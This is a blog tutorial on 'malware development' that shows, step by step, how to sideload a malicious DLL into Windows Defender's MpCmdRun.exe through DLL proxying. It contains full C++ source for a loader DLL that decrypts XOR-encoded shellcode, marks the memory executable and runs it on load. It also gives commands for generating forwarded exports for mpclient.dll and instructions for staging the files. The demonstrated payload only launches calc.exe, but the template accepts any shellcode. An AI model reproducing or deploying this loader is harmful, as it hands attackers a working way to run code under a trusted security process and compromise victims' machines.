Malware Development: DLL Sideloading via ‘DLL Proxying’

7 minute read

I’m going to cover an example of how to perform a DLL sideload from start to finish using a C++ payload and a legitimate DLL commonly found on disk. The specific technique covered is known as “DLL proxying” where we use the legitimate DLL along with a malicious DLL which exports all the functions that the legit DLL to execute properly.

In this post, we’ll walk through the following steps:

  • What is DLL sideloading and DLL proxying
  • How to choose an EXE and DLL to sideload
  • How to create the malicous DLL to run shellcode
  • How to find the exported functions needed to sideload the DLL
  • Putting everything together for a successful DLL sideload attack

But first…

What is DLL sideloading?

Source: MITRE “Side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).”

So we need to choose a legitimate EXE, find a DLL that it loads from disk, create a malicious DLL which runs shellcode, then copy/upload the EXE and DLL to the same folder. Upon executing the EXE, it should sideload the malicious DLL hosted in the same folder.

What is DLL proxying

The specific technique of DLL hijacking we’ll walkthrough is called DLL proxying which uses the following steps:

  1. EXE starts and calls malicious.dll in same folder
  2. malicious.dll calls legitimate dll_orig.dll in same folder by exporting all functions from the legitimate DLL
  3. Shellcode/payload runs in malicious.dll and also calls dll_orig.dll from the exported functions
    The execution flow of DLL proxying looks like this (Source: ired.team):

image

Choosing an EXE and DLL to sideload

There are various methods we can use to find a legitimate EXE and DLL which it loads from disk. A public repository and great resource called Hijack Libs can easily be used to search for known EXEs and DLLs that could be used for DLL sideloading or DLL hijacking. We could use this application to filter on specific vendors of types of DLL hijacks such as sideloading.

hijack libs example

Alternatively, we could also use Procmon from Windows SysInternals to manually analyze existing running executables and determine which DLLs are being loaded by the process. We can load Procmon with the following filters to hunt for DLLs being loaded by 64-bit processes:

  • Path -> ends with -> .dll
  • Architecture -> is -> 64-bit (assuming we want 64-bit target EXEs)

image

We can scroll through the output of Procmon to find executables and DLLs that are currently being loaded on the system. As an example, if we wanted to search for a DLL sideload against Windows Defender’s AMSI scanner (MpCmdRun.exe), we can add the following filter:

  • Process Name -> is -> MpCmdRun.exe

Then we can run the executable from its expected location %PROGRAMFILES%\Windows Defender\mpcmdrun.exe, and in Procmon we can see the DLLs being loaded by the MpCmdRun.exe process which we could attempt to sideload. The target DLL mpclient.dll looks like a good target!

image

The DLL mpclient.dll is also a known DLL sideload that can be found in Hijack Libs at this URL.

A third option for finding your own DLL sideloads is to use the publicly available tool Windows Feature Hunter (WFH) from @ConsciousHacker which has its own documentation and method for finding vulnerable DLL sideloads on your own system. If you prefer to go the easy route, there is a CSV list within the GitHub repo of discovered EXEs and their DLL sideloads found here which has over 900 DLL sideloads you could abuse. Another blog has many more DLL hijacking examples HERE.

Creating a malicious DLL

Once we’ve found our executable and DLL sideload to target, we can now start to create our malicous DLL which will execute shellcode. In this example, we’re going to target the MpCmdRun.exe (Windows Defender) process with the DLL sideload of mpclient.dll.

Start by creating a new C++ project in Visual Studio for a “Dyamic-Link Library (DLL)” or make a new TXT file in a text editor to manually write your DLL. Visual Studio will compile the C++ DLL for you, otherwise if you’re using a text editor then you can compile it using the cl.exe command-line utility.

We’re going to create a relatively straightforward DLL which uses XOR decryption to decrypt shellcode and launch it via CreateThread. Upon execution, the shellcode will launch calc.exe as a proof-of-concept.

Here is the template code for our malicious DLL mpclient.dll which will run shellcode to spawn calc.exe:

#include "pch.h"
#include <windows.h>

// XOR function
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
	int j;

	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = { 0xac,0x08,0xf0,0x97,0x87,0xd8,0xf0,0x30,0x72,0x64,0x60,0x01,0x01,0x23,0x21,0x26,0x66,0x78,0x01,0xa0,0x01,0x69,0xdb,0x12,0x13,0x3b,0xfc,0x62,0x28,0x78,0xf9,0x36,0x01,0x18,0xcb,0x01,0x23,0x3f,0x3f,0x87,0x7a,0x38,0x29,0x10,0x99,0x08,0x42,0xb3,0xdb,0x0c,0x51,0x4c,0x70,0x48,0x01,0x11,0x81,0xba,0x7e,0x36,0x31,0xf1,0xd2,0x9f,0x36,0x60,0x01,0x08,0xf8,0x21,0x57,0xbb,0x72,0x0c,0x3a,0x65,0xf1,0xdb,0xc0,0xfb,0x73,0x77,0x30,0x78,0xb5,0xb2,0x10,0x46,0x18,0x41,0xa3,0x23,0xfc,0x78,0x28,0x74,0xf9,0x24,0x01,0x19,0x41,0xa3,0x90,0x21,0x78,0xcf,0xf9,0x33,0xef,0x15,0xd8,0x08,0x72,0xa5,0x3a,0x01,0xf9,0x78,0x43,0xa4,0x8d,0x11,0x81,0xba,0x7e,0x36,0x31,0xf1,0x08,0x92,0x11,0xd0,0x1c,0x43,0x3f,0x57,0x7f,0x75,0x09,0xe1,0x07,0xbc,0x79,0x14,0xcb,0x33,0x57,0x3e,0x31,0xe0,0x56,0x33,0xef,0x2d,0x18,0x04,0xf8,0x33,0x6b,0x79,0x31,0xe0,0x33,0xef,0x25,0xd8,0x08,0x72,0xa3,0x36,0x68,0x71,0x68,0x2c,0x3d,0x7b,0x11,0x18,0x32,0x2a,0x36,0x6a,0x78,0xb3,0x9e,0x44,0x60,0x02,0xbf,0x93,0x2b,0x36,0x69,0x6a,0x78,0xf9,0x76,0xc8,0x07,0xbf,0x8c,0x8c,0x2a,0x78,0x8a,0x31,0x72,0x64,0x21,0x50,0x40,0x73,0x73,0x3f,0xbd,0xbd,0x31,0x73,0x64,0x21,0x11,0xfa,0x42,0xf8,0x18,0xb7,0xcf,0xe5,0xc9,0x84,0x3c,0x7a,0x4a,0x32,0xc9,0xd1,0xa5,0x8d,0xad,0x8d,0xb1,0x69,0xd3,0x84,0x5b,0x4f,0x71,0x4c,0x3a,0xb0,0x89,0x84,0x54,0x55,0xfb,0x34,0x60,0x05,0x5f,0x5a,0x30,0x2b,0x25,0xa8,0x8a,0xbf,0xa6,0x10,0x16,0x5c,0x53,0x1e,0x17,0x1c,0x44,0x50 };
unsigned int payload_len = sizeof(payload);

// Standard function to allocate memory, copy shellcode to it, and execute the thread
extern __declspec(dllexport) int RunThis(void);
int RunThis(void) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;

	// Decryption key
	char key[] = "P@ssw000rd!";

	// Decrypt the shellcode
	XOR((char*)payload, payload_len, key, sizeof(key));

	// Allocate memory
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to the buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, run the shellcode
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
		WaitForSingleObject(th, 0);
	}
	

	return 0;
}

//Runs as the Main() function
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {

	switch (fdwReason) {
		//DLL_PROCESS_ATTACH will run when the DLL is loaded within a process
	case DLL_PROCESS_ATTACH:
		RunThis();
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

Finding exported functions from the legit DLL

Before we can finalize the malicious DLL, we will need to get a list of exported functions from the existing legitimate DLL on disk and add it to our malicious DLL. In order for the executable to run properly with our sideloaded DLL, we have to add the DLL’s exported functions to the malicious DLL to forward these functions to the legit DLL on disk.

Now to get the exported functions from the legitimate DLL mpclient.dll at its expected location (detailed here), we can use this PowerShell script with the following commands:

PS> . .\Get-DLL-Exports.ps1
PS> Get-DLL-Exports -DllPath %PROGRAMDATA%\Microsoft\Windows Defender\Platform\%VERSION%\mpclient.dll -ExportsToCpp C:\output\folder\MpClient-exports.txt

After executing the PowerShell command, the output file MpClient-exports.txt should have all the DLL exports in it as shown below (shortened for brevity):

// --> ADD ALL EXPORTS BELOW TO THE TOP OF YOUR .CPP APPLICATION <--
#pragma once
#pragma comment (linker, "/export:MpAddDynamicSignatureFile=MpClient_orig.MpAddDynamicSignatureFile,@43")
#pragma comment (linker, "/export:MpAllocMemory=MpClient_orig.MpAllocMemory,@44")
#pragma comment (linker, "/export:MpAmsiCloseSession=MpClient_orig.MpAmsiCloseSession,@45")
#pragma comment (linker, "/export:MpAmsiNotify=MpClient_orig.MpAmsiNotify,@46")
#pragma comment (linker, "/export:MpAmsiScan=MpClient_orig.MpAmsiScan,@47")
#pragma comment (linker, "/export:MpAsrSetHipsUserExclusion=MpClient_orig.MpAsrSetHipsUserExclusion,@48")
#pragma comment (linker, "/export:MpChangeCapability=MpClient_orig.MpChangeCapability,@49")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperation=MpClient_orig.MpCheckAccessForClipboardOperation,@50")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperationEx=MpClient_orig.MpCheckAccessForClipboardOperationEx,@51")
#pragma comment (linker, "/export:MpCheckAccessForClipboardOperationEx2=MpClient_orig.MpCheckAccessForClipboardOperationEx2,@52")
...

From the output, can see that mpclient.dll has many DLL exports which we can add to the top of our code now, just under the #inclue import lines.
Once you add the exports to the DLL code, it should look something like this:

image

The export functions will forward execution to the legitimate DLL, named “mpclient_orig” as seen from the output above. To use this, we’ll have to rename the original DLL to mpclient_orig.dll and place it in the same folder as the legit EXE and malicious DLL to execute the DLL sideload.

Now compile your malicious DLL in Visual Studio or using cl.exe to the output file named mpclient.dll!

An alternative method with Python

Another technique to do DLL proxying, which is my preferred method, is to proxy DLL exports to the DLL on disk in its original location (i.e. C:\windows\system32). That way you don’t need to have the original DLL in the current folder of the executable and malicious DLL. These exports can be created with a similar script in Python which points the DLL exports to the full path of the DLL on disk instead of the DLL in the current folder.
For example:

python Find-DLL-Exports_DLL-Proxying.py "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MpClient.dll"
// Export DLL functions
#pragma once
#pragma comment(linker,"/export:MpAddDynamicSignatureFile=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAddDynamicSignatureFile,@43")
#pragma comment(linker,"/export:MpAllocMemory=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAllocMemory,@44")
#pragma comment(linker,"/export:MpAmsiCloseSession=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiCloseSession,@45")
#pragma comment(linker,"/export:MpAmsiNotify=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiNotify,@46")
#pragma comment(linker,"/export:MpAmsiScan=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAmsiScan,@47")
#pragma comment(linker,"/export:MpAsrSetHipsUserExclusion=C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2201.10-0\\MpClient.MpAsrSetHipsUserExclusion,@48")
...

Note that the DLL exports point to the full path of the DLL on disk so we don’t need to have the original DLL in the current folder with our executable and malicious DLL.

Putting it all together

To combine everything together and actually execute our DLL sideload with the PowerShell script with original DLL in the same folder, we need to copy the original EXE, malicious DLL, and original DLL to the same folder. Place the following files to your target folder with these naming conventions:

  • MpCmdRun.exe
  • mpclient.dll (malicious DLL)
  • mpclient_orig.dll (original DLL)

It should look something like this: image

Finally, we can double-click or execute MpCmdRun.exe from command-line and we should see calc.exe spawn in the foreground if it properly worked! Note for this executable, you may have to disable Defender first to get it working. But generally as a proof-of-concept we’ve shown that the DLL sideload via DLL proxying of Windows Defender works!

image

If we do this using the alternative method with Python referenced above which proxies exports to the original DLL where it normally resides on disk, then our folder structure would look a bit different as it only requires the malicous DLL sideloading our EXE:

  • MpCmdRun.exe
  • mpclient.dll (malicious DLL)

Updated: